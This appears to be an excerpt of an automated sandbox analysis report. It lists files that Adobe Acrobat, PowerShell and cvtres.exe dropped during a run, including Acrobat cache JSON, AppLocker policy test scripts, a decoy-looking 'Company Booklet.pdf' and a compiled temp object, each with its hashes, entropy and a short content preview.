SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfbPtdPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GDV8Ukee9
MD5:	E45792BEFC2D88CA5D4475D8D10E6B6D
SHA1:	67F558F7C260BE0A208603E0114E39199E16C8D7
SHA-256:	B494B2DFE7BF690344101C248CF0BA4FCFEA5170EBFD45401C6607F842AAE79F
SHA-512:	C1B93ABA7FEA197D2D86728CDBD76163E1F8B173F76EB792FDE8316C82E71B5F1025E735715993720470D638BDEC645B8C1BA811FDFBB57CE109C9A6B8C260BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265470512461025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJf21rPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6G+16Ukee9
MD5:	F887EF3A735794FC74793EBBACFD80D4
SHA1:	1363D7707D6751B025FF314B2E38C6AB35CE34F3
SHA-256:	42C0FF3D084D097F3DB59DDE31F56BC5B24B06AD03D3AAA03C5EE34CBA55494D
SHA-512:	5BE291D2C14033695C8D7793F035FCCA75D71AD7871CCC337292C58607758E7175C5418592788A9045464D5246115F29B89F06C1A97BEFDE8BC32B40EE6D2EA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66944155729317
Encrypted:	false
SSDEEP:	24:Yv6XD8n2JhbamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSL:YvaPJhrBgkDMUJUAh8cvML
MD5:	B69E7FD84D220AAA1BA48B16DE57821B
SHA1:	E24B18DBE24C229D12702DA8BF7763227270D149
SHA-256:	F86700D794A72FF5C5812C43D50A9056F89568CC1F9EA679FEE80ABACAEB8CF7
SHA-512:	ADFD49E94F3E3217D2D1407BE8FBDD492E5C828A2DC6B05F2509428C2EC93B6E935EFA4968A3B82D3E524A72F33BEE08A62688E88A0B4759EC25AD7247D0057F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243239373194859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJfshHHrPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GUUUkee9
MD5:	CF9EAFB36CBFA7984FB4D3D4DAC059B4
SHA1:	4EE51AAF8D28F4398B1642F7890819845B5EA86B
SHA-256:	E6FA6E93289BD10B447E674F1ED3DAD8A23D145B71FAC7EF911D3CE9DC9D90BD
SHA-512:	CD88E04218375610BE2238FA2F50C2E14CAF49E86CF70442FC8BCDB1461AE5E3F6AAB7C0133819A1A2A13955CF00D1EA74AAE3A2BC903D599B5F3C3724C93F03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.254336730147114
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGQ8HtSbVYYO2vB3/dVlPIHAR0YxDoAvJTqgFCrPeUkwRe9:YvXKXaQ8NrV2vR/ZwHA6GTq16Ukee9
MD5:	6089F8249785C91B7D28821508C9075F
SHA1:	CFC1382823E9875E53AAC5A75A4778B61A166686
SHA-256:	50C2F6B91A3BCD74BBD89CDBC3AC0CEB6A71483150FCCD894F87F071E5D48698
SHA-512:	4ECE34C48CC62826953AA73988F6F28C5CCF968CD2D382793076B5CFC61F70611B0D34F953EB283DDFD64DC528F59495BE2961068EBD8331D833AEE9345CBBC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb257e6-0b27-41c1-9e27-7561082e88f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1733044012645,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.147639330850204
Encrypted:	false
SSDEEP:	48:YpzBIq34XqSl6dtWuh8kzM/zJMro8Mfyj7R4U9XX:Eo6o65mkNMaj1H
MD5:	FA06EA8C08C9CCD07C4A563127E4F54D
SHA1:	DAA774EC7AE5EB289C276ABD7A0CC937E3997666
SHA-256:	A06131F103A765D2136E0E586D067491348E2D26ED3BCAFDBA7444A5D430B4F6
SHA-512:	6CC0828FBEE7E1CD263BC43A98271BCEB38E304273A849B52EAFC4A6ABFBA51C8AC5F2DA915BC163C34C181EE9C22690573F9A19CDD675663737E2E1D1456A60
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"670803afbd10350f154f683ae6a53dba","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1732865092000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"30f9c63dc55666cd07f21f9ece89dc38","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1732865092000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ba7a9541926086e1087f642164e9af61","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1732865092000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"9384ca2db1bfe80a45e4796cda21bb26","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1732865092000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"00bfb27a3671165c997e3c3643751c11","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1732865092000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6cab37f33cdb9b42d440b8ab21a096be","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3167290899150017
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahCW6ypilIkW8:lNVms9WfMwbPahcz
MD5:	1A36CA113E7FAE6EC3783F614EF1E6B3
SHA1:	CE3612ACB9DBC5E13107BB8C5D0BB6E42DE9BCA9
SHA-256:	B26F0F4059F90A7BA601CA37952CBDCF144B2CF15731DF0AA56423CA594B6BE1
SHA-512:	2052AAF268A9FED193D1F1936C0F07A8C772F3B76EED08F6858177A8A88C75A17A4BF1C416EFDD0E8C2845FDAA921918377298F7E1332390C0FF4EE733DD81EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7796836406752172
Encrypted:	false
SSDEEP:	48:7M8XWR1CPmPbPahCWrypilI5qFl2GL7ms+:7VXWfMwbPahpcKVms+
MD5:	A306B3A3B30B7D130ED25834B54D65E2
SHA1:	3AB29F5BF2BC18D7821BA624896FFBDC6EA9CB21
SHA-256:	6A1969C63D1AD2B855D9CF03FE079251BDCD55BD40281460F31F7DDF6205722D
SHA-512:	B924957185C0E321A85C3E07897C7D1CF257E1AEFBD70E9600D6BBD60D7BC18E1D372EADD36401F33915BF46A131F2D1820DB9FD2881E165F01A663EF18EF468
Malicious:	false
Preview:	.... .c.....9.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg1ZCX964j1iYI0yBGRgN2CEPIYyu:6a6TZ44ADE1ZCX9Lj12pEPIK
MD5:	60F3B8E188C555AE1D9DFD26B81CDA29
SHA1:	926E5F80484B66E7BD3F67BB85E88724A3D91BAF
SHA-256:	4A9034CEE095824208E09C7155C60B04BA95EDAA602814CD22867EF27149CCD5
SHA-512:	3577D41E816057B5D74DF0178CA0E374F603295F8CCEE7B1E84E6F124AF2C98D2BF260E5881B79A90552265021146C8ADDDF7913D9E41AD974EC57C2DA60E2E7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20010
Entropy (8bit):	5.026111878370426
Encrypted:	false
SSDEEP:	384:Kib43WDib4ZUpiHWrxfYv7XX35rhopbjvwRjdvRYvQqvOjJHUkCw0QpeiQ0HzAF8:mW3UpiHWrxfYv7H31hopbjoRjdvRYvrE
MD5:	B935C41C494EA1BC540EC5F6A31A69DB
SHA1:	0E03C9ECDBCDC778486055FD5D2202B7462A202E
SHA-256:	DF4A2059742AF7BC099760E4CA1B3BD513676CEFDF622C4E727F422C57CEB19E
SHA-512:	2D0BB4B21423BA32DEF7D2873BECB8FDC5F27C206A6705B7D714519E8161787233230DB3556E0E7AEFE9B3AD50FF51AE5C12C1D23FAB4AF1E9F17B81C90E418F
Malicious:	false
Preview:	PSMODULECACHE.......dh.z......C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1........Get-OperationValidation........Invoke-OperationValidation..........rq.z..M...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflow\PSWorkflow.psd1........nwsn........New-PSWorkflowExecutionOption........New-PSWorkflowSession........$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1760
Entropy (8bit):	5.701149085220573
Encrypted:	false
SSDEEP:	48:QSU4y4RQmFoUeCamfg9qr9tK8NLn5nOA+S0ax5jl+yU:BHyIFKL2I9qr2KLn5nOARx3Z0
MD5:	E7198CD120927B9195B453E7989DBFA7
SHA1:	EF5729E38CEC9286514ED2D9F9671541DAA678EA
SHA-256:	0D2EC4444AE9928B724C1E4FD5EC5A8B5639CDA4D70E02C27B44A4007A25E460
SHA-512:	636B99BCF4932285056D87203ABD6EC20ABB9466FD859D651D244B97DAEAF759A3307E0DA9185A2BDBFB69F1957453EFB8633039CF80B30C672EF4F0CB340167
Malicious:	false
Preview:	@...e...........R....................................@..........@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\Company Booklet.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.4, 6 pages
Category:	dropped
Size (bytes):	697614
Entropy (8bit):	7.968027157453129
Encrypted:	false
SSDEEP:	12288:1QvArwKDKoohI9o1QzuRzBscQfmPofwzX7O84dST15oHECIqsbNrHnOgD7:RrbOHEoWziBGmPofwzX775ok7bb9HnJP
MD5:	8EC7F7E15BA01475008317EB37D7BA60
SHA1:	86CBAEFAD165E4B4A7DAD47C8536546A0ACF0C1D
SHA-256:	A0E2935E165F58ED428CD96DF8EC369DBA1588E1A3DE0A0C85291B648504B903
SHA-512:	5BB2E62685F29573B71036638237134E5E66CB42C179EFF9D05E349870A5366D07549FDCA8650B6B5EFE0AFEE873A0FD4C9BBF3D27776629535AF509C37FE3B9
Malicious:	false
Preview:	%PDF-1.4.%.....12 0 obj.<<./Subtype /Image./Width 1241./Height 1754./ColorSpace /DeviceRGB./BitsPerComponent 8./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 60.>>]./Length 167522.>>.stream.x...X...Z.K @..4..K.@...<.4N...5...q.. Hp'...w...n..^g...g...{.s.}.}.....k.....9f5\|.>...X.001.bab`bcc..?&....#.x......+..3'....sq.f.a...k9%e%.!...o....o/.......OKHH+...-....o.p.M.L"#Q.wp..q...%. .".z..... .....E.4.....$d.;(..((..^.......v.4\|..Tv..."..~Y.Pip..S......C.G$Oi...........}%&.!)%.....V..40426153wptrvqus.{....!....1&6.S\|BZzFfVvNn^..........]C.#.c...S..K.+.k.....G.'.g.....B......w......d...z!.q.=.....;...".[;\|.ww.^F~).~..Si.P.~....k...m.~....b...j....^S.}d$D.!.. .x.>.......Zfa.)..`'...t.8)4.U.:g....<L...i^..[..1......N80.... ...Vjk..?v.m:........)0?L.0.5..c\.T.%P......@Q7..........2.S...M.`......n...if...v_[\|..Q......c.....7........u......}7.I....1......v...&....M....w.E..&..4,.H....O/..-...a..O..6P.jT.SL.QSR......\|...r..*

C:\Users\user\AppData\Local\Temp\MSI52422.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8xOl8bKw:Qw946cPbiOxDlbYnuRK5e
MD5:	AFAF0037A319CDD09C6CA8C93392FBDD
SHA1:	C4914E3A0974BD0B06279BF86797F21A37F4A6D4
SHA-256:	5B32964708C1D3FF20E2A4C0691E962CAA1F24016073E0679502D576F950C581
SHA-512:	B29BC7E1BADB791CF76A74B26D631E37AE238DCCFFA511CF8B5FC32EDEF17F26F1EF5B304AEB66CFEF1CEFDA8EE1CCCE4286351EBF75B0AEE610E393A00157B7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.9./.1.1./.2.0.2.4. . .0.2.:.2.4.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\RES9F33.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Fri Nov 29 08:36:42 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	4.010168064907035
Encrypted:	false
SSDEEP:	24:H5pm9IbVxvXuHEwKRmNII+ycuZhNuakSWPNnqSSd:ZRbPv+rKRmu1ulua3qqSC
MD5:	93FFCF326EFA24A6D9369F449FC976B6
SHA1:	16E91623C4249C18FBB0767F66FD593ABB81F741
SHA-256:	D65FE50CE38E59C92C6AB4BED10DD672D40330CF3AFBA9351BFCF98AB5BF69B5
SHA-512:	9CCBDD199FEB63B4E120EB2A373A0AC42CD021B0CB131450E66B6EE4EF1FCF3F95B605CFD6B8CFD5B3D18CD765DF6B44668111FB82E1887E0EC7D5D89FE75748
Malicious:	false
Preview:	L....}Ig.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP.................._v.......:..=............5.......C:\Users\user\AppData\Local\Temp\RES9F33.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...p.l.i.z.a.s.u.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1agruinj.1kj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2a1zm5hf.pf0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uiy3ffe.3ws.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bd4yobzj.ylv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btmpjlv3.sk4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ceniehis.wdt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_da43ugkj.zyr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjatfznf.mdg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
